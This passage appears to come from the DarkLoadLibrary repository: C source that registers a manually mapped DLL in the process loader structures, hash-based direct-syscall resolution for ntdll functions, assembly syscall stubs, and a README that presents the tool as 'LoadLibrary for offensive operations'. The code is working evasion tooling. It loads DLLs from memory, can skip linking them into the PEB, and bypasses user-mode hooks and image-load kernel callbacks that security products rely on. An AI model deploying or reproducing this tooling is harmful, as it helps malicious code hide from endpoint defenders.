776 | pLdrEntry->ProcessAttachCalled = TRUE;
777 | pLdrEntry->InExceptionTable = FALSE;
778 | pLdrEntry->DllBase = (PVOID)pdModule->ModuleBase;
779 | pLdrEntry->SizeOfImage = pNtHeaders->OptionalHeader.SizeOfImage;
780 | pLdrEntry->TimeDateStamp = pNtHeaders->FileHeader.TimeDateStamp;
781 | pLdrEntry->BaseDllName = BaseDllName;
782 | pLdrEntry->FullDllName = FullDllName;
783 | pLdrEntry->ObsoleteLoadCount = 1;
784 | pLdrEntry->Flags = LDRP_IMAGE_DLL | LDRP_ENTRY_INSERTED | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED;
785 |
786 | // set the correct values in the Ddag node struct
787 | pLdrEntry->DdagNode = (PLDR_DDAG_NODE)pHeapAlloc(
788 | pGetProcessHeap(),
789 | HEAP_ZERO_MEMORY,
790 | sizeof(LDR_DDAG_NODE)
791 | );
792 |
793 | if (!pLdrEntry->DdagNode)
794 | {
795 | return 0;
796 | }
797 |
798 | pLdrEntry->NodeModuleLink.Flink = &pLdrEntry->DdagNode->Modules;
799 | pLdrEntry->NodeModuleLink.Blink = &pLdrEntry->DdagNode->Modules;
800 | pLdrEntry->DdagNode->Modules.Flink = &pLdrEntry->NodeModuleLink;
801 | pLdrEntry->DdagNode->Modules.Blink = &pLdrEntry->NodeModuleLink;
802 | pLdrEntry->DdagNode->State = LdrModulesReadyToRun;
803 | pLdrEntry->DdagNode->LoadCount = 1;
804 |
805 | // add the hash to the LdrpHashTable
806 | AddHashTableEntry(
807 | pLdrEntry
808 | );
809 |
810 | // set the entry point
811 | pLdrEntry->EntryPoint = RVA(
812 | PVOID,
813 | pdModule->ModuleBase,
814 | pNtHeaders->OptionalHeader.AddressOfEntryPoint
815 | );
816 |
817 | return TRUE;
818 | }
--------------------------------------------------------------------------------
/DarkLoadLibrary/src/syscalls.c:
--------------------------------------------------------------------------------
1 | #include "syscalls.h"
2 |
3 | // Code below is adapted from @modexpblog. Read linked article for more details.
4 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
5 |
6 | SW2_SYSCALL_LIST SW2_SyscallList;
7 |
8 | DWORD SW2_HashSyscall(PCSTR FunctionName)
9 | {
10 | DWORD i = 0;
11 | DWORD Hash = SW2_SEED;
12 |
13 | while (FunctionName[i])
14 | {
15 | WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++);
16 | Hash ^= PartialName + SW2_ROR8(Hash);
17 | }
18 |
19 | return Hash;
20 | }
21 |
22 | BOOL SW2_PopulateSyscallList()
23 | {
24 | // Return early if the list is already populated.
25 | if (SW2_SyscallList.Count) return TRUE;
26 |
27 | PSW2_PEB Peb = (PSW2_PEB)__readgsqword(0x60);
28 | PSW2_PEB_LDR_DATA Ldr = Peb->Ldr;
29 | PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
30 | PVOID DllBase = NULL;
31 |
32 | // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
33 | // in the list, so it's safer to loop through the full list and find it.
34 | PSW2_LDR_DATA_TABLE_ENTRY LdrEntry;
35 | for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
36 | {
37 | DllBase = LdrEntry->DllBase;
38 | PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
39 | PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
40 | PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
41 | DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
42 | if (VirtualAddress == 0) continue;
43 |
44 | ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW2_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
45 |
46 | // If this is NTDLL.dll, exit loop.
47 | PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
48 |
49 | if ((*(ULONG*)DllName | 0x20202020) != 'ldtn') continue;
50 | if ((*(ULONG*)(DllName + 4) | 0x20202020) == 'ld.l') break;
51 | }
52 |
53 | if (!ExportDirectory) return FALSE;
54 |
55 | DWORD NumberOfNames = ExportDirectory->NumberOfNames;
56 | PDWORD Functions = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
57 | PDWORD Names = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
58 | PWORD Ordinals = SW2_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
59 |
60 | // Populate SW2_SyscallList with unsorted Zw* entries.
61 | DWORD i = 0;
62 | PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries;
63 | do
64 | {
65 | PCHAR FunctionName = SW2_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
66 |
67 | // Is this a system call?
68 | if (*(USHORT*)FunctionName == 'wZ')
69 | {
70 | Entries[i].Hash = SW2_HashSyscall(FunctionName);
71 | Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
72 |
73 | i++;
74 | if (i == SW2_MAX_ENTRIES) break;
75 | }
76 | } while (--NumberOfNames);
77 |
78 | // Save total number of system calls found.
79 | SW2_SyscallList.Count = i;
80 |
81 | // Sort the list by address in ascending order.
82 | for (DWORD i = 0; i < SW2_SyscallList.Count - 1; i++)
83 | {
84 | for (DWORD j = 0; j < SW2_SyscallList.Count - i - 1; j++)
85 | {
86 | if (Entries[j].Address > Entries[j + 1].Address)
87 | {
88 | // Swap entries.
89 | SW2_SYSCALL_ENTRY TempEntry;
90 |
91 | TempEntry.Hash = Entries[j].Hash;
92 | TempEntry.Address = Entries[j].Address;
93 |
94 | Entries[j].Hash = Entries[j + 1].Hash;
95 | Entries[j].Address = Entries[j + 1].Address;
96 |
97 | Entries[j + 1].Hash = TempEntry.Hash;
98 | Entries[j + 1].Address = TempEntry.Address;
99 | }
100 | }
101 | }
102 |
103 | return TRUE;
104 | }
105 |
106 | EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash)
107 | {
108 | // Ensure SW2_SyscallList is populated.
109 | if (!SW2_PopulateSyscallList()) return -1;
110 |
111 | for (DWORD i = 0; i < SW2_SyscallList.Count; i++)
112 | {
113 | if (FunctionHash == SW2_SyscallList.Entries[i].Hash)
114 | {
115 | return i;
116 | }
117 | }
118 |
119 | return -1;
120 | }
121 |
--------------------------------------------------------------------------------
/DarkLoadLibrary/src/syscallsstubs.asm:
--------------------------------------------------------------------------------
1 | .code
2 |
3 | EXTERN SW2_GetSyscallNumber: PROC
4 |
5 | NtProtectVirtualMemory PROC
6 | mov [rsp +8], rcx ; Save registers.
7 | mov [rsp+16], rdx
8 | mov [rsp+24], r8
9 | mov [rsp+32], r9
10 | sub rsp, 28h
11 | mov ecx, 0079D1B09h ; Load function hash into ECX.
12 | call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
13 | add rsp, 28h
14 | mov rcx, [rsp +8] ; Restore registers.
15 | mov rdx, [rsp+16]
16 | mov r8, [rsp+24]
17 | mov r9, [rsp+32]
18 | mov r10, rcx
19 | syscall ; Invoke system call.
20 | ret
21 | NtProtectVirtualMemory ENDP
22 |
23 | NtAllocateVirtualMemory PROC
24 | mov [rsp +8], rcx ; Save registers.
25 | mov [rsp+16], rdx
26 | mov [rsp+24], r8
27 | mov [rsp+32], r9
28 | sub rsp, 28h
29 | mov ecx, 00B9D010Fh ; Load function hash into ECX.
30 | call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
31 | add rsp, 28h
32 | mov rcx, [rsp +8] ; Restore registers.
33 | mov rdx, [rsp+16]
34 | mov r8, [rsp+24]
35 | mov r9, [rsp+32]
36 | mov r10, rcx
37 | syscall ; Invoke system call.
38 | ret
39 | NtAllocateVirtualMemory ENDP
40 |
41 | end
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # DarkLoadLibrary
2 |
3 | `LoadLibrary` for offensive operations.
4 |
5 | ### How does it work?
6 |
7 | https://www.mdsec.co.uk/2021/06/bypassing-image-load-kernel-callbacks/
8 |
9 | ### Usage
10 |
11 | ```C
12 | DARKMODULE DarkModule = DarkLoadLibrary(
13 | LOAD_LOCAL_FILE, // control flags
14 | L"TestDLL.dll", // local dll path, if loading from disk
15 | NULL, // dll buffer to load from if loading from memory
16 | 0, // dll size if loading from memory
17 | NULL // dll name if loaded from memory
18 | );
19 | ```
20 |
21 | #### Control Flags:
22 | - LOAD_LOCAL_FILE - Load a DLL from the file system.
23 | - LOAD_MEMORY - Load a DLL from a buffer.
24 | - NO_LINK - Don't link this module to the PEB, just execute it.
25 |
26 | #### DLL Path:
27 |
28 | This can be any path that `CreateFileW` will open.
29 |
30 | ### DLL Buffer:
31 |
32 | This argument is only needed when `LOAD_MEMORY` is set. In that case this argument should be the buffer containing the DLL.
33 |
34 | #### DLL Size:
35 |
36 | This argument is only needed when `LOAD_MEMORY` is set. In that case this argument should be the size of the buffer containing the DLL.
37 |
38 | #### DLL Name:
39 |
40 | This argument is only needed when `LOAD_MEMORY` is set. In that case this argument should be the name which the DLL should be set in the PEB under.
41 |
42 | ### Considerations
43 |
44 | The windows loader is very complex and can handle all the edge case's and intricacies of loading DLLs. There are going to be edge case's which I have not had the time to discover, reverse engineer and implement. So there's going to be DLLs that this loader simply will not work with.
45 |
46 | That being said I plan on making this loader as complete as possible, so please open issue's for DLLs that are not correctly loaded.
47 |
--------------------------------------------------------------------------------